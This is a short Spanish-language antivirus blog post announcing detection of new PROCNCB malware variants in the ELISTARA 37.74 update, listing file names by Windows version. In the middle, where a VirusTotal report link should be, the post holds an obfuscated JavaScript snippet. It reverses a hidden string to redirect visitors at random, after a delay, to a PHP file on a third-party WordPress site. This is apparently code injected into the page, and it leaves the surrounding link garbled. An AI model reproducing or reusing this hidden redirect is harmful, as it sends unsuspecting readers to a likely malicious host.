MAS VARIANTES DEL MALWARE PROCNCB QUE PASAMOS A CONTROLAR

A partir del ELISTARA 37.74 de hoy, pasamos a controlar estas nuevas variantes del PROCNCB

Este conocido malware se actualiza continuamente y actúa diferente según sea el sistema operativo, instalandose en diferentes nombres/rutas/claves de registro, como por ejmplo

WINDOWS7 procncb.exe
WINDOWS8 storageservice.exe

Los preanalisis de virustotal de las muestras recibidas hoy, ofrecen los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/0ea19aed89ade6382ceb9efee7ad98801fbfbef6090b7b8732ea7e84a0e0d104/analysis/1509011169/” target=”_blank” rel=”noopener”>procncb(56).exe

Dicha versión del ELISTARA 37.74 que lo detecta y elimina, estará disponible en Nuestra web a partir del 27.10 prox

saludos

ms, 26-10-2017